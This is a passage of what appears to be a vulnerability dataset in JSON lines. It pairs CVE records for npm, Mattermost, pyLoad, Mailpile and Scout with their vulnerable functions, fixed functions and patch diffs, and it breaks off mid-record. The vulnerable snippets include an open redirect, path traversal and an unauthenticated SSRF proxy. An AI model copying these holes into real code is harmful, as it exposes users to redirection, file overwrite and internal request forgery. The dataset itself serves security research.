} else if (this.get('always-auth') !== undefined) {\n    c.alwaysAuth = this.get('always-auth')\n  }\n\n  if (c.username && c.password) {\n    c.auth = new Buffer(c.username + ':' + c.password).toString('base64')\n  }\n\n  return c\n}"}, {"id": "vul_js_262_3", "commit": "ffa428a", "file_path": "lib/utils/map-to-registry.js", "start_line": 8, "end_line": 56, "snippet": "function mapToRegistry (name, config, cb) {\n  log.silly('mapToRegistry', 'name', name)\n  var registry\n\n  // the name itself takes precedence\n  var data = npa(name)\n  if (data.scope) {\n    // the name is definitely scoped, so escape now\n    name = name.replace('/', '%2f')\n\n    log.silly('mapToRegistry', 'scope (from package name)', data.scope)\n\n    registry = config.get(data.scope + ':registry')\n    if (!registry) {\n      log.verbose('mapToRegistry', 'no registry URL found in name for scope', data.scope)\n    }\n  }\n\n  // ...then --scope=@scope or --scope=scope\n  var scope = config.get('scope')\n  if (!registry && scope) {\n    // I'm an enabler, sorry\n    if (scope.charAt(0) !== '@') scope = '@' + scope\n\n    log.silly('mapToRegistry', 'scope (from config)', scope)\n\n    registry = config.get(scope + ':registry')\n    if (!registry) {\n      log.verbose('mapToRegistry', 'no registry URL found in config for scope', scope)\n    }\n  }\n\n  // ...and finally use the default registry\n  if (!registry) {\n    log.silly('mapToRegistry', 'using default registry')\n    registry = config.get('registry')\n  }\n\n  log.silly('mapToRegistry', 'registry', registry)\n\n  var auth = config.getCredentialsByURI(registry)\n\n  // normalize registry URL so resolution doesn't drop a piece of registry URL\n  var normalized = registry.slice(-1) !== '/' ? registry + '/' : registry\n  var uri = url.resolve(normalized, name)\n  log.silly('mapToRegistry', 'uri', uri)\n\n  cb(null, uri, auth, normalized)\n}"}], "fix_func": [{"id": "fix_js_262_1", "commit": "f67ecad59e99a03e5aad8e93cd1a086ae087cb29", "file_path": "lib/cache.js", "start_line": 240, "end_line": 304, "snippet": "function add (args, where, cb) {\n  // this is hot code.  almost everything passes through here.\n  // the args can be any of:\n  // ['url']\n  // ['pkg', 'version']\n  // ['pkg@version']\n  // ['pkg', 'url']\n  // This is tricky, because urls can contain @\n  // Also, in some cases we get [name, null] rather\n  // that just a single argument.\n\n  var usage = 'Usage:\\n' +\n              '    npm cache add <tarball-url>\\n' +\n              '    npm cache add <pkg>@<ver>\\n' +\n              '    npm cache add <tarball>\\n' +\n              '    npm cache add <folder>\\n'\n  var spec\n\n  log.silly('cache add', 'args', args)\n\n  if (args[1] === undefined) args[1] = null\n\n  // at this point the args length must ==2\n  if (args[1] !== null) {\n    spec = args[0] + '@' + args[1]\n  } else if (args.length === 2) {\n    spec = args[0]\n  }\n\n  log.verbose('cache add', 'spec', spec)\n\n  if (!spec) return cb(usage)\n\n  adding++\n  cb = afterAdd(cb)\n\n  realizePackageSpecifier(spec, where, function (err, p) {\n    if (err) return cb(err)\n\n    log.silly('cache add', 'parsed spec', p)\n\n    switch (p.type) {\n      case 'local':\n      case 'directory':\n        addLocal(p, null, cb)\n        break\n      case 'remote':\n        // get auth, if possible\n        mapToRegistry(p.raw, npm.config, function (err, uri, auth) {\n          if (err) return cb(err)\n\n          addRemoteTarball(p.spec, { name: p.name }, null, auth, cb)\n        })\n        break\n      case 'git':\n      case 'hosted':\n        addRemoteGit(p.rawSpec, cb)\n        break\n      default:\n        if (p.name) return addNamed(p.name, p.spec, null, cb)\n\n        cb(new Error(\"couldn't figure out how to install \" + spec))\n    }\n  })\n}"}, {"id": "fix_js_262_2", "commit": "f67ecad59e99a03e5aad8e93cd1a086ae087cb29", "file_path": "lib/config/get-credentials-by-uri.js", "start_line": 7, "end_line": 74, "snippet": "function getCredentialsByURI (uri) {\n  assert(uri && typeof uri === 'string', 'registry URL is required')\n  var nerfed = toNerfDart(uri)\n  var defnerf = toNerfDart(this.get('registry'))\n\n  // hidden class micro-optimization\n  var c = {\n    scope: nerfed,\n    token: undefined,\n    password: undefined,\n    username: undefined,\n    email: undefined,\n    auth: undefined,\n    alwaysAuth: undefined\n  }\n\n  // used to override scope matching for tokens as well as legacy auth\n  if (this.get(nerfed + ':always-auth') !== undefined) {\n    var val = this.get(nerfed + ':always-auth')\n    c.alwaysAuth = val === 'false' ? false : !!val\n  } else if (this.get('always-auth') !== undefined) {\n    c.alwaysAuth = this.get('always-auth')\n  }\n\n  if (this.get(nerfed + ':_authToken')) {\n    c.token = this.get(nerfed + ':_authToken')\n    // the bearer token is enough, don't confuse things\n    return c\n  }\n\n  // Handle the old-style _auth=<base64> style for the default\n  // registry, if set.\n  //\n  // XXX(isaacs): Remove when npm 1.4 is no longer relevant\n  var authDef = this.get('_auth')\n  var userDef = this.get('username')\n  var passDef = this.get('_password')\n  if (authDef && !(userDef && passDef)) {\n    authDef = new Buffer(authDef, 'base64').toString()\n    authDef = authDef.split(':')\n    userDef = authDef.shift()\n    passDef = authDef.join(':')\n  }\n\n  if (this.get(nerfed + ':_password')) {\n    c.password = new Buffer(this.get(nerfed + ':_password'), 'base64').toString('utf8')\n  } else if (nerfed === defnerf && passDef) {\n    c.password = passDef\n  }\n\n  if (this.get(nerfed + ':username')) {\n    c.username = this.get(nerfed + ':username')\n  } else if (nerfed === defnerf && userDef) {\n    c.username = userDef\n  }\n\n  if (this.get(nerfed + ':email')) {\n    c.email = this.get(nerfed + ':email')\n  } else if (this.get('email')) {\n    c.email = this.get('email')\n  }\n\n  if (c.username && c.password) {\n    c.auth = new Buffer(c.username + ':' + c.password).toString('base64')\n  }\n\n  return c\n}"}, {"id": "fix_js_262_3", "commit": "f67ecad59e99a03e5aad8e93cd1a086ae087cb29", "file_path": "lib/utils/map-to-registry.js", "start_line": 8, "end_line": 63, "snippet": "function mapToRegistry (name, config, cb) {\n  log.silly('mapToRegistry', 'name', name)\n  var registry\n\n  // the name itself takes precedence\n  var data = npa(name)\n  if (data.scope) {\n    // the name is definitely scoped, so escape now\n    name = name.replace('/', '%2f')\n\n    log.silly('mapToRegistry', 'scope (from package name)', data.scope)\n\n    registry = config.get(data.scope + ':registry')\n    if (!registry) {\n      log.verbose('mapToRegistry', 'no registry URL found in name for scope', data.scope)\n    }\n  }\n\n  // ...then --scope=@scope or --scope=scope\n  var scope = config.get('scope')\n  if (!registry && scope) {\n    // I'm an enabler, sorry\n    if (scope.charAt(0) !== '@') scope = '@' + scope\n\n    log.silly('mapToRegistry', 'scope (from config)', scope)\n\n    registry = config.get(scope + ':registry')\n    if (!registry) {\n      log.verbose('mapToRegistry', 'no registry URL found in config for scope', scope)\n    }\n  }\n\n  // ...and finally use the default registry\n  if (!registry) {\n    log.silly('mapToRegistry', 'using default registry')\n    registry = config.get('registry')\n  }\n\n  log.silly('mapToRegistry', 'registry', registry)\n\n  var auth = config.getCredentialsByURI(registry)\n\n  // normalize registry URL so resolution doesn't drop a piece of registry URL\n  var normalized = registry.slice(-1) !== '/' ? registry + '/' : registry\n  var uri\n  log.silly('mapToRegistry', 'data', data)\n  if (data.type === 'remote') {\n    uri = data.spec\n  } else {\n    uri = url.resolve(normalized, name)\n  }\n\n  log.silly('mapToRegistry', 'uri', uri)\n\n  cb(null, uri, scopeAuth(uri, registry, auth), normalized)\n}"}, {"id": "fix_js_262_4", "commit": "f67ecad59e99a03e5aad8e93cd1a086ae087cb29", "file_path": "lib/utils/map-to-registry.js", "start_line": 65, "end_line": 100, "snippet": "function scopeAuth (uri, registry, auth) {\n  var cleaned = {\n    scope: auth.scope,\n    email: auth.email,\n    alwaysAuth: auth.alwaysAuth,\n    token: undefined,\n    username: undefined,\n    password: undefined,\n    auth: undefined\n  }\n\n  var requestHost\n  var registryHost\n\n  if (auth.token || auth.auth || (auth.username && auth.password)) {\n    requestHost = url.parse(uri).hostname\n    registryHost = url.parse(registry).hostname\n\n    if (requestHost === registryHost) {\n      cleaned.token = auth.token\n      cleaned.auth = auth.auth\n      cleaned.username = auth.username\n      cleaned.password = auth.password\n    } else if (auth.alwaysAuth) {\n      log.verbose('scopeAuth', 'alwaysAuth set for', registry)\n      cleaned.token = auth.token\n      cleaned.auth = auth.auth\n      cleaned.username = auth.username\n      cleaned.password = auth.password\n    } else {\n      log.silly('scopeAuth', uri, \"doesn't share host with registry\", registry)\n    }\n  }\n\n  return cleaned\n}"}], "vul_patch": "--- a/lib/cache.js\n+++ b/lib/cache.js\n@@ -46,7 +46,7 @@\n         break\n       case 'remote':\n         // get auth, if possible\n-        mapToRegistry(spec, npm.config, function (err, uri, auth) {\n+        mapToRegistry(p.raw, npm.config, function (err, uri, auth) {\n           if (err) return cb(err)\n \n           addRemoteTarball(p.spec, { name: p.name }, null, auth, cb)\n\n--- a/lib/config/get-credentials-by-uri.js\n+++ b/lib/config/get-credentials-by-uri.js\n@@ -12,6 +12,14 @@\n     email: undefined,\n     auth: undefined,\n     alwaysAuth: undefined\n+  }\n+\n+  // used to override scope matching for tokens as well as legacy auth\n+  if (this.get(nerfed + ':always-auth') !== undefined) {\n+    var val = this.get(nerfed + ':always-auth')\n+    c.alwaysAuth = val === 'false' ? false : !!val\n+  } else if (this.get('always-auth') !== undefined) {\n+    c.alwaysAuth = this.get('always-auth')\n   }\n \n   if (this.get(nerfed + ':_authToken')) {\n@@ -52,13 +60,6 @@\n     c.email = this.get('email')\n   }\n \n-  if (this.get(nerfed + ':always-auth') !== undefined) {\n-    var val = this.get(nerfed + ':always-auth')\n-    c.alwaysAuth = val === 'false' ? false : !!val\n-  } else if (this.get('always-auth') !== undefined) {\n-    c.alwaysAuth = this.get('always-auth')\n-  }\n-\n   if (c.username && c.password) {\n     c.auth = new Buffer(c.username + ':' + c.password).toString('base64')\n   }\n\n--- a/lib/utils/map-to-registry.js\n+++ b/lib/utils/map-to-registry.js\n@@ -42,8 +42,15 @@\n \n   // normalize registry URL so resolution doesn't drop a piece of registry URL\n   var normalized = registry.slice(-1) !== '/' ? registry + '/' : registry\n-  var uri = url.resolve(normalized, name)\n+  var uri\n+  log.silly('mapToRegistry', 'data', data)\n+  if (data.type === 'remote') {\n+    uri = data.spec\n+  } else {\n+    uri = url.resolve(normalized, name)\n+  }\n+\n   log.silly('mapToRegistry', 'uri', uri)\n \n-  cb(null, uri, auth, normalized)\n+  cb(null, uri, scopeAuth(uri, registry, auth), normalized)\n }\n\n--- /dev/null\n+++ b/lib/utils/map-to-registry.js\n@@ -0,0 +1,36 @@\n+function scopeAuth (uri, registry, auth) {\n+  var cleaned = {\n+    scope: auth.scope,\n+    email: auth.email,\n+    alwaysAuth: auth.alwaysAuth,\n+    token: undefined,\n+    username: undefined,\n+    password: undefined,\n+    auth: undefined\n+  }\n+\n+  var requestHost\n+  var registryHost\n+\n+  if (auth.token || auth.auth || (auth.username && auth.password)) {\n+    requestHost = url.parse(uri).hostname\n+    registryHost = url.parse(registry).hostname\n+\n+    if (requestHost === registryHost) {\n+      cleaned.token = auth.token\n+      cleaned.auth = auth.auth\n+      cleaned.username = auth.username\n+      cleaned.password = auth.password\n+    } else if (auth.alwaysAuth) {\n+      log.verbose('scopeAuth', 'alwaysAuth set for', registry)\n+      cleaned.token = auth.token\n+      cleaned.auth = auth.auth\n+      cleaned.username = auth.username\n+      cleaned.password = auth.password\n+    } else {\n+      log.silly('scopeAuth', uri, \"doesn't share host with registry\", registry)\n+    }\n+  }\n+\n+  return cleaned\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-47168", "cve_description": "Mattermost fails to properly check a redirect URL parameter allowing for an\u00a0open redirect was possible when the user clicked \"Back to Mattermost\" after providing a invalid custom url scheme in /oauth/{service}/mobile_login?redirect_to=\n\n", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/mattermost/mattermost", "patch_url": ["https://github.com/mattermost/mattermost/commit/8d151d285989fd5c7081951423eda52247694ec9"], "programing_language": "Go", "vul_func": [{"id": "vul_go_262_1", "commit": "e319cd5e84e1a146475c10ff1ebacf770f03890c", "file_path": "server/channels/utils/api.go", "start_line": 113, "end_line": 135, "snippet": "func RenderMobileError(config *model.Config, w http.ResponseWriter, err *model.AppError, redirectURL string) {\n\tvar link = template.HTMLEscapeString(redirectURL)\n\tvar invalidSchemes = map[string]bool{\n\t\t\"data\":       true,\n\t\t\"javascript\": true,\n\t\t\"vbscript\":   true,\n\t}\n\tu, redirectErr := url.Parse(redirectURL)\n\tif redirectErr != nil || invalidSchemes[u.Scheme] {\n\t\tlink = *config.ServiceSettings.SiteURL\n\t}\n\tRenderMobileMessage(w, `\n\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\" style=\"width: 64px; height: 64px; fill: #ccc\">\n\t\t\t<!-- Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) -->\n\t\t\t<path d=\"M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z\"/>\n\t\t</svg>\n\t\t<h2> `+i18n.T(\"error\")+` </h2>\n\t\t<p> `+err.Message+` </p>\n\t\t<a href=\"`+link+`\">\n\t\t\t`+i18n.T(\"api.back_to_app\", map[string]any{\"SiteName\": config.TeamSettings.SiteName})+`\n\t\t</a>\n\t`)\n}"}], "fix_func": [{"id": "fix_go_262_1", "commit": "8d151d285989fd5c7081951423eda52247694ec9", "file_path": "server/channels/utils/api.go", "start_line": 114, "end_line": 131, "snippet": "func RenderMobileError(config *model.Config, w http.ResponseWriter, err *model.AppError, redirectURL string) {\n\tvar link = template.HTMLEscapeString(redirectURL)\n\tu, redirectErr := url.Parse(redirectURL)\n\tif redirectErr != nil || !utils.Contains(config.NativeAppSettings.AppCustomURLSchemes, u.Scheme) {\n\t\tlink = *config.ServiceSettings.SiteURL\n\t}\n\tRenderMobileMessage(w, `\n\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\" style=\"width: 64px; height: 64px; fill: #ccc\">\n\t\t\t<!-- Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) -->\n\t\t\t<path d=\"M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z\"/>\n\t\t</svg>\n\t\t<h2> `+i18n.T(\"error\")+` </h2>\n\t\t<p> `+err.Message+` </p>\n\t\t<a href=\"`+link+`\">\n\t\t\t`+i18n.T(\"api.back_to_app\", map[string]any{\"SiteName\": config.TeamSettings.SiteName})+`\n\t\t</a>\n\t`)\n}"}], "vul_patch": "--- a/server/channels/utils/api.go\n+++ b/server/channels/utils/api.go\n@@ -1,12 +1,7 @@\n func RenderMobileError(config *model.Config, w http.ResponseWriter, err *model.AppError, redirectURL string) {\n \tvar link = template.HTMLEscapeString(redirectURL)\n-\tvar invalidSchemes = map[string]bool{\n-\t\t\"data\":       true,\n-\t\t\"javascript\": true,\n-\t\t\"vbscript\":   true,\n-\t}\n \tu, redirectErr := url.Parse(redirectURL)\n-\tif redirectErr != nil || invalidSchemes[u.Scheme] {\n+\tif redirectErr != nil || !utils.Contains(config.NativeAppSettings.AppCustomURLSchemes, u.Scheme) {\n \t\tlink = *config.ServiceSettings.SiteURL\n \t}\n \tRenderMobileMessage(w, `\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-47890", "cve_description": "pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/pyload/pyload", "patch_url": ["https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_154_1", "commit": "14a9f11", "file_path": "src/pyload/core/api/__init__.py", "start_line": 418, "end_line": 452, "snippet": "    def add_package(self, name, links, dest=Destination.QUEUE):\n        \"\"\"\n        Adds a package, with links to desired destination.\n\n        :param name: name of the new package\n        :param links: list of urls\n        :param dest: `Destination`\n        :return: package id of the new package\n        \"\"\"\n        if self.pyload.config.get(\"general\", \"folder_per_package\"):\n            folder = name\n        else:\n            folder = \"\"\n\n        folder = (\n            folder.replace(\"http://\", \"\")\n            .replace(\"https://\", \"\")\n            .replace(\":\", \"\")\n            .replace(\"/\", \"_\")\n            .replace(\"\\\\\", \"_\")\n        )\n\n        package_id = self.pyload.files.add_package(name, folder, Destination(dest))\n\n        self.pyload.files.add_links(links, package_id)\n\n        self.pyload.log.info(\n            self._(\"Added package {name} containing {count:d} links\").format(\n                name=name, count=len(links)\n            )\n        )\n\n        self.pyload.files.save()\n\n        return package_id"}, {"id": "vul_py_154_2", "commit": "14a9f11", "file_path": "src/pyload/webui/app/blueprints/json_blueprint.py", "start_line": 190, "end_line": 204, "snippet": "def edit_package():\n    api = flask.current_app.config[\"PYLOAD_API\"]\n    try:\n        id = int(flask.request.form[\"pack_id\"])\n        data = {\n            \"name\": flask.request.form[\"pack_name\"],\n            \"_folder\": flask.request.form[\"pack_folder\"],\n            \"password\": flask.request.form[\"pack_pws\"],\n        }\n\n        api.set_package_data(id, data)\n        return jsonify(response=\"success\")\n\n    except Exception:\n        return jsonify(False), 500"}], "fix_func": [{"id": "fix_py_154_1", "commit": "695bb70", "file_path": "src/pyload/core/api/__init__.py", "start_line": 418, "end_line": 454, "snippet": "    def add_package(self, name, links, dest=Destination.QUEUE):\n        \"\"\"\n        Adds a package, with links to desired destination.\n\n        :param name: name of the new package\n        :param links: list of urls\n        :param dest: `Destination`\n        :return: package id of the new package\n        \"\"\"\n        if self.pyload.config.get(\"general\", \"folder_per_package\"):\n            folder = name\n        else:\n            folder = \"\"\n\n        folder = (\n            folder.replace(\"http://\", \"\")\n            .replace(\"https://\", \"\")\n            .replace(\"../\", \"_\")\n            .replace(\"..\\\\\", \"_\")\n            .replace(\":\", \"\")\n            .replace(\"/\", \"_\")\n            .replace(\"\\\\\", \"_\")\n        )\n\n        package_id = self.pyload.files.add_package(name, folder, Destination(dest))\n\n        self.pyload.files.add_links(links, package_id)\n\n        self.pyload.log.info(\n            self._(\"Added package {name} containing {count:d} links\").format(\n                name=name, count=len(links)\n            )\n        )\n\n        self.pyload.files.save()\n\n        return package_id"}, {"id": "fix_py_154_2", "commit": "695bb70", "file_path": "src/pyload/webui/app/blueprints/json_blueprint.py", "start_line": 190, "end_line": 205, "snippet": "def edit_package():\n    api = flask.current_app.config[\"PYLOAD_API\"]\n    try:\n        pack_id = int(flask.request.form[\"pack_id\"])\n        pack_folder = flask.request.form[\"pack_folder\"].lstrip(f\"{os.path.sep}\").replace(f\"..{os.path.sep}\", f\"\")\n        data = {\n            \"name\": flask.request.form[\"pack_name\"],\n            \"_folder\": pack_folder,\n            \"password\": flask.request.form[\"pack_pws\"],\n        }\n\n        api.set_package_data(pack_id, data)\n        return jsonify(response=\"success\")\n\n    except Exception:\n        return jsonify(False), 500"}], "vul_patch": "--- a/src/pyload/core/api/__init__.py\n+++ b/src/pyload/core/api/__init__.py\n@@ -15,6 +15,8 @@\n         folder = (\n             folder.replace(\"http://\", \"\")\n             .replace(\"https://\", \"\")\n+            .replace(\"../\", \"_\")\n+            .replace(\"..\\\\\", \"_\")\n             .replace(\":\", \"\")\n             .replace(\"/\", \"_\")\n             .replace(\"\\\\\", \"_\")\n\n--- a/src/pyload/webui/app/blueprints/json_blueprint.py\n+++ b/src/pyload/webui/app/blueprints/json_blueprint.py\n@@ -1,14 +1,15 @@\n def edit_package():\n     api = flask.current_app.config[\"PYLOAD_API\"]\n     try:\n-        id = int(flask.request.form[\"pack_id\"])\n+        pack_id = int(flask.request.form[\"pack_id\"])\n+        pack_folder = flask.request.form[\"pack_folder\"].lstrip(f\"{os.path.sep}\").replace(f\"..{os.path.sep}\", f\"\")\n         data = {\n             \"name\": flask.request.form[\"pack_name\"],\n-            \"_folder\": flask.request.form[\"pack_folder\"],\n+            \"_folder\": pack_folder,\n             \"password\": flask.request.form[\"pack_pws\"],\n         }\n \n-        api.set_package_data(id, data)\n+        api.set_package_data(pack_id, data)\n         return jsonify(response=\"success\")\n \n     except Exception:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-20954", "cve_description": "The \"Security and Privacy\" Encryption feature in Mailpile before 1.0.0rc4 does not exclude disabled, revoked, and expired keys.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/mailpile/Mailpile", "patch_url": ["https://github.com/mailpile/Mailpile/commit/49b64f62ade9ade3dff9337c7bbc1171eab3d59e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_146_1", "commit": "6199efa", "file_path": "mailpile/plugins/crypto_gnupg.py", "start_line": 393, "end_line": 395, "snippet": "    def command(self):\n        res = self._gnupg().list_secret_keys()\n        return self._success(\"Searched for secret keys\", res)"}], "fix_func": [{"id": "fix_py_146_1", "commit": "49b64f6", "file_path": "mailpile/plugins/crypto_gnupg.py", "start_line": 394, "end_line": 408, "snippet": "    def command(self):\n        args = list(self.args)\n        if len(args) > 0:\n            check = args[0]\n        else:\n            check = self.data.get('check', '')\n        check = 'True' in check\n        \n        all = self._gnupg().list_secret_keys()\n        if check:\n            res = {fprint : all[fprint] for fprint in all\n                if not (all[fprint]['revoked'] or all[fprint]['disabled'])}\n        else:\n            res = all\n        return self._success(\"Searched for secret keys\", res)"}], "vul_patch": "--- a/mailpile/plugins/crypto_gnupg.py\n+++ b/mailpile/plugins/crypto_gnupg.py\n@@ -1,3 +1,15 @@\n     def command(self):\n-        res = self._gnupg().list_secret_keys()\n+        args = list(self.args)\n+        if len(args) > 0:\n+            check = args[0]\n+        else:\n+            check = self.data.get('check', '')\n+        check = 'True' in check\n+        \n+        all = self._gnupg().list_secret_keys()\n+        if check:\n+            res = {fprint : all[fprint] for fprint in all\n+                if not (all[fprint]['revoked'] or all[fprint]['disabled'])}\n+        else:\n+            res = all\n         return self._success(\"Searched for secret keys\", res)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1592", "cve_description": "Server-Side Request Forgery in scout in GitHub repository clinical-genomics/scout prior to v4.42. An attacker could make the application perform arbitrary requests to fishing steal cookie, request to private area, or lead to xss...", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/clinical-genomics/scout", "patch_url": ["https://github.com/clinical-genomics/scout/commit/b0ef15f4737d0c801154c1991b52ff5cab4f5c83"], "programing_language": "Python", "vul_func": [{"id": "vul_py_310_1", "commit": "51a838d", "file_path": "scout/server/blueprints/alignviewers/controllers.py", "start_line": 17, "end_line": 30, "snippet": "def set_session_tracks(display_obj):\n    \"\"\"Save igv tracks as a session object. This way it's easy to verify that a user is requesting one of these files from remote_static view endpoint\n\n    Args:\n        display_obj(dict): A display object containing case name, list of genes, lucus and tracks\n    \"\"\"\n    session_tracks = list(display_obj.get(\"reference_track\", {}).values())\n    for key, track_items in display_obj.items():\n        if key not in [\"tracks\", \"custom_tracks\", \"sample_tracks\"]:\n            continue\n        for track_item in track_items:\n            session_tracks += list(track_item.values())\n\n    session[\"igv_tracks\"] = session_tracks"}, {"id": "vul_py_310_2", "commit": "51a838d", "file_path": "scout/server/blueprints/alignviewers/views.py", "start_line": 34, "end_line": 64, "snippet": "def remote_cors(remote_url):\n    \"\"\"Proxy a remote URL.\n    Useful to e.g. eliminate CORS issues when the remote site does not\n        communicate CORS headers well, as in cloud tracks on figshare for IGV.js.\n\n    Based on code from answers to this thread:\n        https://stackoverflow.com/questions/6656363/proxying-to-another-web-service-with-flask/\n    \"\"\"\n    resp = requests.request(\n        method=request.method,\n        url=remote_url,\n        headers={key: value for (key, value) in request.headers if key != \"Host\"},\n        data=request.get_data(),\n        cookies=request.cookies,\n        allow_redirects=True,\n    )\n\n    excluded_headers = [\n        \"content-encoding\",\n        \"content-length\",\n        \"transfer-encoding\",\n        \"connection\",\n    ]\n    headers = [\n        (name, value)\n        for (name, value) in resp.raw.headers.items()\n        if name.lower() not in excluded_headers\n    ]\n\n    response = Response(resp.content, resp.status_code, headers)\n    return response"}, {"id": "vul_py_310_3", "commit": "51a838d", "file_path": "scout/server/blueprints/alignviewers/views.py", "start_line": 68, "end_line": 82, "snippet": "def remote_static():\n    \"\"\"Stream *large* static files with special requirements.\"\"\"\n    file_path = request.args.get(\"file\") or \".\"\n\n    # Check that user is logged in or that file extension is valid\n    if current_user.is_authenticated is False or file_path not in session.get(\"igv_tracks\", []):\n        LOG.warning(f\"{file_path} not in {session.get('igv_tracks', [])}\")\n        return abort(403)\n\n    range_header = request.headers.get(\"Range\", None)\n    if not range_header and (file_path.endswith(\".bam\") or file_path.endswith(\".cram\")):\n        return abort(500)\n\n    new_resp = send_file_partial(file_path)\n    return new_resp"}], "fix_func": [{"id": "fix_py_310_1", "commit": "b0ef15f4737d0c801154c1991b52ff5cab4f5c83", "file_path": "scout/server/blueprints/alignviewers/controllers.py", "start_line": 36, "end_line": 49, "snippet": "def set_session_tracks(display_obj):\n    \"\"\"Save igv tracks as a session object. This way it's easy to verify that a user is requesting one of these files from remote_static view endpoint\n\n    Args:\n        display_obj(dict): A display object containing case name, list of genes, lucus and tracks\n    \"\"\"\n    session_tracks = list(display_obj.get(\"reference_track\", {}).values())\n    for key, track_items in display_obj.items():\n        if key not in [\"tracks\", \"custom_tracks\", \"sample_tracks\", \"cloud_public_tracks\"]:\n            continue\n        for track_item in track_items:\n            session_tracks += list(track_item.values())\n\n    session[\"igv_tracks\"] = session_tracks"}, {"id": "fix_py_310_2", "commit": "b0ef15f4737d0c801154c1991b52ff5cab4f5c83", "file_path": "scout/server/blueprints/alignviewers/views.py", "start_line": 34, "end_line": 68, "snippet": "def remote_cors(remote_url):\n    \"\"\"Proxy a remote URL.\n    Useful to e.g. eliminate CORS issues when the remote site does not\n        communicate CORS headers well, as in cloud tracks on figshare for IGV.js.\n\n    Based on code from answers to this thread:\n        https://stackoverflow.com/questions/6656363/proxying-to-another-web-service-with-flask/\n    \"\"\"\n    # Check that user is logged in or that file extension is valid\n    if controllers.check_session_tracks(remote_url) is False:\n        return abort(403)\n\n    resp = requests.request(\n        method=request.method,\n        url=remote_url,\n        headers={key: value for (key, value) in request.headers if key != \"Host\"},\n        data=request.get_data(),\n        cookies=request.cookies,\n        allow_redirects=True,\n    )\n\n    excluded_headers = [\n        \"content-encoding\",\n        \"content-length\",\n        \"transfer-encoding\",\n        \"connection\",\n    ]\n    headers = [\n        (name, value)\n        for (name, value) in resp.raw.headers.items()\n        if name.lower() not in excluded_headers\n    ]\n\n    response = Response(resp.content, resp.status_code, headers)\n    return response"}, {"id": "fix_py_310_3", "commit": "b0ef15f4737d0c801154c1991b52ff5cab4f5c83", "file_path": "scout/server/blueprints/alignviewers/views.py", "start_line": 72, "end_line": 85, "snippet": "def remote_static():\n    \"\"\"Stream *large* static files with special requirements.\"\"\"\n    file_path = request.args.get(\"file\") or \".\"\n\n    # Check that user is logged in or that file extension is valid\n    if controllers.check_session_tracks(file_path) is False:\n        return abort(403)\n\n    range_header = request.headers.get(\"Range\", None)\n    if not range_header and (file_path.endswith(\".bam\") or file_path.endswith(\".cram\")):\n        return abort(500)\n\n    new_resp = send_file_partial(file_path)\n    return new_resp"}, {"id": "fix_py_310_4", "commit": "b0ef15f4737d0c801154c1991b52ff5cab4f5c83", "file_path": "scout/server/blueprints/alignviewers/controllers.py", "start_line": 17, "end_line": 35, "snippet": "def check_session_tracks(resource):\n    \"\"\"Make sure that a user requesting a resource is authenticated and resource is in session IGV tracks\n\n    Args:\n        resource(str): a resource on the server or on a remote URL\n\n    Returns\n        True is user has access to resource else False\n    \"\"\"\n    # Check that user is logged in or that file extension is valid\n    if current_user.is_authenticated is False:\n        LOG.warning(\"Unauthenticated user requesting resource via remote_static\")\n        return False\n    if resource not in session.get(\"igv_tracks\", []):\n        LOG.warning(f\"{resource} not in {session.get('igv_tracks', [])}\")\n        return False\n    return True\n\n"}], "vul_patch": "--- a/scout/server/blueprints/alignviewers/controllers.py\n+++ b/scout/server/blueprints/alignviewers/controllers.py\n@@ -6,7 +6,7 @@\n     \"\"\"\n     session_tracks = list(display_obj.get(\"reference_track\", {}).values())\n     for key, track_items in display_obj.items():\n-        if key not in [\"tracks\", 